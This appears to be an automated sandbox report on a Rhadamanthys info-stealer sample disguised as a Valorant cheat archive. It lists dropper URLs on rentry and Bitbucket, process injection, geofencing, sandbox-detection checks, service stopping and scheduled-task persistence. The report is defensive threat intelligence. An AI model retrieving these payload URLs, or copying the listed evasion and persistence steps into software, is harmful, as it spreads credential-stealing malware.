rhadamanthys | hxxps://github[.]com/SISNEST/Valorant/blob/main/ZWHAX[.]7z

Analysis

max time kernel
108s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23-06-2024 18:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/SISNEST/Valorant/blob/main/ZWHAX.7z

Score

10^/10

rhadamanthys evasion execution persistence stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/pancek61111111111111/raw

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/pan.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

tnnmcduu.ffx1.exe

description pid process target process

PID 1912 created 2684 1912 tnnmcduu.ffx1.exe sihost.exe
Blocklisted process makes network request 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exemsiexec.exe

flow pid process

72 4328 powershell.exe
74 4328 powershell.exe
78 1036 powershell.exe
79 5352 powershell.exe
81 5652 powershell.exe
82 5652 powershell.exe
83 2592 powershell.exe
94 5848 msiexec.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

1036 powershell.exe
2592 powershell.exe
6552 powershell.exe
1008 powershell.exe
2892 powershell.exe
4328 powershell.exe
5352 powershell.exe
5652 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

description	pid	process	target process
PID 1912 created 2684	1912	tnnmcduu.ffx1.exe	sihost.exe

flow	pid	process
72	4328	powershell.exe
74	4328	powershell.exe
78	1036	powershell.exe
79	5352	powershell.exe
81	5652	powershell.exe
82	5652	powershell.exe
83	2592	powershell.exe
94	5848	msiexec.exe

pid	process
1036	powershell.exe
2592	powershell.exe
6552	powershell.exe
1008	powershell.exe
2892	powershell.exe
4328	powershell.exe
5352	powershell.exe
5652	powershell.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

ZWHax.exenfy5hudn.bqf0.exenfy5hudn.bqf3.exeZWHax.exetnnmcduu.ffx0.exetnnmcduu.ffx3.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	ZWHax.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	nfy5hudn.bqf0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	nfy5hudn.bqf3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	ZWHax.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	tnnmcduu.ffx0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	tnnmcduu.ffx3.exe

Executes dropped EXE 10 IoCs

Processes:

ZWHax.exetnnmcduu.ffx0.exetnnmcduu.ffx1.exetnnmcduu.ffx2.exetnnmcduu.ffx3.exeZWHax.exenfy5hudn.bqf0.exenfy5hudn.bqf1.exenfy5hudn.bqf2.exenfy5hudn.bqf3.exe

pid	process
3136	ZWHax.exe
3540	tnnmcduu.ffx0.exe
1912	tnnmcduu.ffx1.exe
4416	tnnmcduu.ffx2.exe
460	tnnmcduu.ffx3.exe
5584	ZWHax.exe
6036	nfy5hudn.bqf0.exe
6084	nfy5hudn.bqf1.exe
5124	nfy5hudn.bqf2.exe
5200	nfy5hudn.bqf3.exe

Loads dropped DLL 4 IoCs

Processes:

MsiExec.exe

pid process

6900 MsiExec.exe
6900 MsiExec.exe
6900 MsiExec.exe
6900 MsiExec.exe

pid	process
6900	MsiExec.exe
6900	MsiExec.exe
6900	MsiExec.exe
6900	MsiExec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service
T1102

Processes:

flow ioc

45 raw.githubusercontent.com
73 bitbucket.org
74 bitbucket.org
79 bitbucket.org
82 bitbucket.org
44 raw.githubusercontent.com
Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

6140 powercfg.exe
1192 powercfg.exe
5608 powercfg.exe
5172 powercfg.exe

flow	ioc
45	raw.githubusercontent.com
73	bitbucket.org
74	bitbucket.org
79	bitbucket.org
82	bitbucket.org
44	raw.githubusercontent.com

pid	process
6140	powercfg.exe
1192	powercfg.exe
5608	powercfg.exe
5172	powercfg.exe

Drops file in System32 directory 7 IoCs

Processes:

svchost.exeOfficeClickToRun.exesvchost.exetnnmcduu.ffx2.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\RunNodeScriptAtLogon	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	tnnmcduu.ffx2.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

tnnmcduu.ffx2.exe

description pid process target process

PID 4416 set thread context of 5228 4416 tnnmcduu.ffx2.exe dialer.exe

description	pid	process	target process
PID 4416 set thread context of 5228	4416	tnnmcduu.ffx2.exe	dialer.exe

Drops file in Program Files directory 10 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Program Files\nodejs\corepack	msiexec.exe
File created	C:\Program Files\nodejs\install_tools.bat	msiexec.exe
File created	C:\Program Files\nodejs\node.exe	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\CHANGELOG.md	msiexec.exe
File created	C:\Program Files\nodejs\corepack.cmd	msiexec.exe
File created	C:\Program Files\nodejs\nodevars.bat	msiexec.exe
File created	C:\Program Files\nodejs\npm	msiexec.exe
File created	C:\Program Files\nodejs\npm.cmd	msiexec.exe
File created	C:\Program Files\nodejs\npx	msiexec.exe
File created	C:\Program Files\nodejs\npx.cmd	msiexec.exe

Drops file in Windows directory 12 IoCs

Processes:

msiexec.exesvchost.exe

description	ioc	process
File created	C:\Windows\Installer\e58d6a4.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58d6a4.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID906.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID956.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID935.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE4C1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEEB4.tmp	msiexec.exe

Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

5360 sc.exe
5224 sc.exe
5824 sc.exe
5272 sc.exe
5932 sc.exe
60 sc.exe
5860 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
5360	sc.exe
5224	sc.exe
5824	sc.exe
5272	sc.exe
5932	sc.exe
60	sc.exe
5860	sc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe

Delays execution with timeout.exe 64 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
5232	timeout.exe
7084	timeout.exe
5784	timeout.exe
1384	timeout.exe
7052	timeout.exe
5112	timeout.exe
6424	timeout.exe
5576	timeout.exe
6548	timeout.exe
6976	timeout.exe
6208	timeout.exe
5968	timeout.exe
2520	timeout.exe
5600	timeout.exe
6516	timeout.exe
3000	timeout.exe
6292	timeout.exe
6336	timeout.exe
7020	timeout.exe
6668	timeout.exe
2528	timeout.exe
5932	timeout.exe
5720	timeout.exe
6412	timeout.exe
1484	timeout.exe
3916	timeout.exe
964	timeout.exe
6996	timeout.exe
3264	timeout.exe
3448	timeout.exe
2988	timeout.exe
1008	timeout.exe
6164	timeout.exe
5884	timeout.exe
6464	timeout.exe
3632	timeout.exe
5108	timeout.exe
228	timeout.exe
6768	timeout.exe
6800	timeout.exe
1044	timeout.exe
7068	timeout.exe
5560	timeout.exe
6588	timeout.exe
5328	timeout.exe
6928	timeout.exe
6220	timeout.exe
3512	timeout.exe
5500	timeout.exe
3512	timeout.exe
6872	timeout.exe
6232	timeout.exe
6840	timeout.exe
6944	timeout.exe
5248	timeout.exe
5360	timeout.exe
5624	timeout.exe
7056	timeout.exe
6520	timeout.exe
6176	timeout.exe
4344	timeout.exe
6840	timeout.exe
6100	timeout.exe
1064	timeout.exe

Enumerates processes with tasklist 1 TTPs 16 IoCs

Process Discovery

T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid	process
5604	tasklist.exe
2324	tasklist.exe
6084	tasklist.exe
5876	tasklist.exe
5424	tasklist.exe
5796	tasklist.exe
5156	tasklist.exe
5824	tasklist.exe
6136	tasklist.exe
6136	tasklist.exe
5592	tasklist.exe
5676	tasklist.exe
5716	tasklist.exe
5560	tasklist.exe
5816	tasklist.exe
5544	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5376	taskkill.exe
5472	taskkill.exe
6116	taskkill.exe
5380	taskkill.exe
5860	taskkill.exe
5608	taskkill.exe
6072	taskkill.exe
5968	taskkill.exe
5620	taskkill.exe
6080	taskkill.exe
2392	taskkill.exe
5408	taskkill.exe
4276	taskkill.exe
5748	taskkill.exe
6068	taskkill.exe
5692	taskkill.exe

Modifies data under HKEY_USERS 14 IoCs

Processes:

OfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={409365A8-F26E-4F8E-9DAD-5F806531037C}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 23 Jun 2024 18:10:15 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719166215"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe

Modifies registry class 3 IoCs

Processes:

msedge.exeOpenWith.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	OpenWith.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

5272 schtasks.exe
2492 schtasks.exe
6932 schtasks.exe

pid	process
5272	schtasks.exe
2492	schtasks.exe
6932	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exepowershell.exepowershell.exepowershell.exepowershell.exetnnmcduu.ffx1.exeopenwith.exepowershell.exepowershell.exepowershell.exetaskmgr.exetnnmcduu.ffx2.exepowershell.exe

pid	process
1860	msedge.exe
1860	msedge.exe
2724	msedge.exe
2724	msedge.exe
3048	identity_helper.exe
3048	identity_helper.exe
4328	msedge.exe
4328	msedge.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
5352	powershell.exe
5352	powershell.exe
5352	powershell.exe
1912	tnnmcduu.ffx1.exe
1912	tnnmcduu.ffx1.exe
5500	openwith.exe
5500	openwith.exe
5500	openwith.exe
5500	openwith.exe
5652	powershell.exe
5652	powershell.exe
5652	powershell.exe
5808	powershell.exe
5808	powershell.exe
5808	powershell.exe
2592	powershell.exe
2592	powershell.exe
2592	powershell.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
4416	tnnmcduu.ffx2.exe
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
5680	taskmgr.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe
4416	tnnmcduu.ffx2.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

OpenWith.exetaskmgr.exe

pid process

2016 OpenWith.exe
5680 taskmgr.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

Processes:

msedge.exe

pid process

2724 msedge.exe
2724 msedge.exe
2724 msedge.exe
2724 msedge.exe
2724 msedge.exe
2724 msedge.exe
2724 msedge.exe

pid	process
2016	OpenWith.exe
5680	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zG.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskmgr.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetasklist.exetaskkill.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exetaskkill.exetasklist.exeWMIC.exe

description	pid	process
Token: SeRestorePrivilege	3080	7zG.exe
Token: 35	3080	7zG.exe
Token: SeSecurityPrivilege	3080	7zG.exe
Token: SeSecurityPrivilege	3080	7zG.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	5352	powershell.exe
Token: SeDebugPrivilege	5652	powershell.exe
Token: SeDebugPrivilege	5808	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	5604	tasklist.exe
Token: SeDebugPrivilege	6080	taskkill.exe
Token: SeDebugPrivilege	5156	tasklist.exe
Token: SeDebugPrivilege	5692	taskkill.exe
Token: SeDebugPrivilege	5716	tasklist.exe
Token: SeDebugPrivilege	5680	taskmgr.exe
Token: SeSystemProfilePrivilege	5680	taskmgr.exe
Token: SeCreateGlobalPrivilege	5680	taskmgr.exe
Token: SeDebugPrivilege	5408	taskkill.exe
Token: SeDebugPrivilege	5560	tasklist.exe
Token: SeDebugPrivilege	5608	taskkill.exe
Token: SeDebugPrivilege	5816	tasklist.exe
Token: SeDebugPrivilege	4276	taskkill.exe
Token: SeDebugPrivilege	5824	tasklist.exe
Token: SeDebugPrivilege	5748	taskkill.exe
Token: SeDebugPrivilege	6136	tasklist.exe
Token: SeDebugPrivilege	6072	taskkill.exe
Token: SeDebugPrivilege	5544	tasklist.exe
Token: SeDebugPrivilege	2392	taskkill.exe
Token: SeDebugPrivilege	2324	tasklist.exe
Token: SeDebugPrivilege	6084	tasklist.exe
Token: SeDebugPrivilege	5968	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	5876	tasklist.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	6136	tasklist.exe
Token: SeDebugPrivilege	5860	taskkill.exe
Token: SeDebugPrivilege	5592	tasklist.exe
Token: SeDebugPrivilege	5376	taskkill.exe
Token: SeDebugPrivilege	5424	tasklist.exe
Token: SeDebugPrivilege	5472	taskkill.exe
Token: SeDebugPrivilege	5676	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5540	WMIC.exe
Token: SeSecurityPrivilege	5540	WMIC.exe
Token: SeTakeOwnershipPrivilege	5540	WMIC.exe
Token: SeLoadDriverPrivilege	5540	WMIC.exe
Token: SeSystemProfilePrivilege	5540	WMIC.exe
Token: SeSystemtimePrivilege	5540	WMIC.exe
Token: SeProfSingleProcessPrivilege	5540	WMIC.exe
Token: SeIncBasePriorityPrivilege	5540	WMIC.exe
Token: SeCreatePagefilePrivilege	5540	WMIC.exe
Token: SeBackupPrivilege	5540	WMIC.exe
Token: SeRestorePrivilege	5540	WMIC.exe
Token: SeShutdownPrivilege	5540	WMIC.exe
Token: SeDebugPrivilege	5540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5540	WMIC.exe
Token: SeRemoteShutdownPrivilege	5540	WMIC.exe
Token: SeUndockPrivilege	5540	WMIC.exe
Token: SeManageVolumePrivilege	5540	WMIC.exe
Token: 33	5540	WMIC.exe
Token: 34	5540	WMIC.exe
Token: 35	5540	WMIC.exe
Token: 36	5540	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe7zG.exepowershell.exetaskmgr.exe

pid	process
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
3080	7zG.exe
4168	powershell.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

msedge.exetaskmgr.exe

pid	process
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
2724	msedge.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe
5680	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

OpenWith.exeOpenWith.exe

pid process

2808 OpenWith.exe
2016 OpenWith.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exe

pid process

4092 RuntimeBroker.exe
2488 RuntimeBroker.exe

pid	process
2808	OpenWith.exe
2016	OpenWith.exe

pid	process
4092	RuntimeBroker.exe
2488	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 2724 wrote to memory of 3496	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 3496	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
